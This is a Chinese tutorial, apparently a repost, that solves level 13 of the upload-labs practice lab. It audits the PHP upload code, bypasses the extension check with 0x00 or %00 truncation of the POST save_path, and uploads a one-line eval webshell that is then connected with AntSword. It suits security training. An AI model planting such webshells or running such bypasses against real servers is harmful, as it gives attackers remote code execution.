当前位置: 首页 > news >正文

upload-labs第十三关教程

upload-labs第十三关教程

  • 第十三关
  • 一、源代码分析
    • 代码审计
  • 二、绕过分析
    • 1)0x00绕过
      • a.上传eval.png
      • b.使用burpsuite进行拦截
        • 修改之前:
        • 修改之后:
        • 进入hex模块:
      • c.放包
        • 上传成功:
      • d.使用中国蚁剑进行连接
    • 2)%00绕过
      • 上传eval.png,使用Burp suite进行拦截包,添加如下:
        • 修改之后:
      • 放包:
      • 使用中国蚁剑进行连接

第十三关


一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

与上一关不同的是这里的路径是post请求,也就是%00截断不会通过url自动解码了,得我们手动解码。

 $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

二、绕过分析

1)0x00绕过

a.上传eval.png

<?php @eval($_POST['cmd']); ?>

这个是一个php代码,然后保存为png文件就行了。

b.使用burpsuite进行拦截

修改之前:

在这里插入图片描述

修改之后:

将可控参数那块加入eval.php空格—>选择hex模块—>找到eval.php的位置—>修改空格的十六进制为00

进入hex模块:

在这里插入图片描述

c.放包

上传成功:

在这里插入图片描述
需要注意的是:eval.php背后的一大串会被截断
在这里插入图片描述

d.使用中国蚁剑进行连接

在这里插入图片描述
连接成功。

2)%00绕过

这里就算让我们自己手动解码,快捷键ctrl+shift+u

上传eval.png,使用Burp suite进行拦截包,添加如下:

修改之前和上面的一样

修改之后:

在这里插入图片描述
对…/upload/eval.php%00进行手动解码,快捷键ctrl+shift+u
在这里插入图片描述

放包:

在这里插入图片描述
注意点和上面一样。

使用中国蚁剑进行连接

在这里插入图片描述

http://www.lryc.cn/news/384354.html

相关文章:

  • 基于springboot实现宠物商城网站管理系统项目【项目源码+论文说明】计算机毕业设计
  • Fragment与ViewModel(MVVM架构)
  • Linux开发讲课16--- 【内存管理】页表映射基础知识2
  • uniapp地图点击获取位置
  • Unity程序开发:1.基本概念及操作
  • 前端新手小白的第一个AI全栈项目---AI聊天室
  • 金升阳电源被制裁,广州顶源电源模块可以完美替换
  • 《数据赋能:一本书讲透数字化营销与运营》—— 从正确的数据观开始
  • JDK 24:Leyden
  • 对于图片转3d人脸方面的研究
  • .NET C# 八股文 代码阅读(一)
  • C++用Crow实现一个简单的Web程序,实现动态页面,向页面中输入数据并展示
  • 南信大尹志聪教授为一作在顶级综合性期刊《Natl. Sci. Rev.》发文:传统梅雨停摆,江南缘何不再多烟雨?
  • 程序员如何用ChatGPT解决常见编程问题:实例解析
  • 初识 SpringMVC,运行配置第一个Spring MVC 程序
  • STM32F1+HAL库+FreeTOTS学习1——FreeRTOS入门
  • 杭州代理记账报税全程托管专业实力全面指南
  • PHP 界的扛把子 Swoole 异步通信利器
  • 40.连接假死-空闲检测-发送心跳
  • hdfs高可用文件系统架构
  • 从官方源码精简出第1个FreeRTOS程序
  • 谷歌上搞下来的,无需付费,可以收藏!
  • 宿主机无法通过ip连接wsl2解决方案
  • Ruby编程语言学习
  • Redis实战—基于setnx的分布式锁与Redisson
  • ARM功耗管理框架之LPI
  • Unity太空避障Demo总结
  • SpringSecurity-重写默认配置
  • C# 判断值是否在枚举里
  • Interview preparation--elasticSearch倒排索引原理